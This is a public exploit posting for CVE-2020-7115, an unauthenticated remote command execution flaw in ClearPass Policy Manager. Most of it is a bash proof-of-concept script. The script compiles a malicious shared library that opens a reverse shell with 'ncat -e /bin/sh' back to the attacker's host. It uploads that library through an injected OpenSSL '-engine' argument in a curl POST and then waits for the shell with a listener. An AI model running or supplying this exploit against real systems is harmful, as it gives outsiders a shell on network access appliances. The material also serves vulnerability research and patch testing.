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ClearPass Policy Manager Unauthenticated Remote Command Execution

ClearPass Policy Manager Unauthenticated Remote Command Execution
Posted Jul 8, 2020
Authored by spicyitalian

Proof of concept exploit for ClearPass Policy Manager which suffers from an unauthenticated remote command execution vulnerability.

tags | exploit, remote, proof of concept
advisories | CVE-2020-7115
MD5 | 70294e43b84d0d72ae5fcfc777c6605f

ClearPass Policy Manager Unauthenticated Remote Command Execution

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#!/usr/bin/env bash
# ClearPass Policy Manager Unauthenticated Remote Command Execution in the WebUI (CVE-2020-7115)
# For best results use OpenSSL/libcrypto shipped with RHEL/CentOS 7.x.
# Questions? Contact spicyitalian@protonmail.com.

if [ "$#" -ne 4 ]; then
echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]"
exit 0
fi

cat <<EOF >>payload.c
#include <unistd.h>

__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL);
}
EOF

gcc -fPIC -c payload.c
gcc -shared -o payload.so -lcrypto payload.o
rm -f payload.c payload.o

curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null &

ncat -v -l $3 $4
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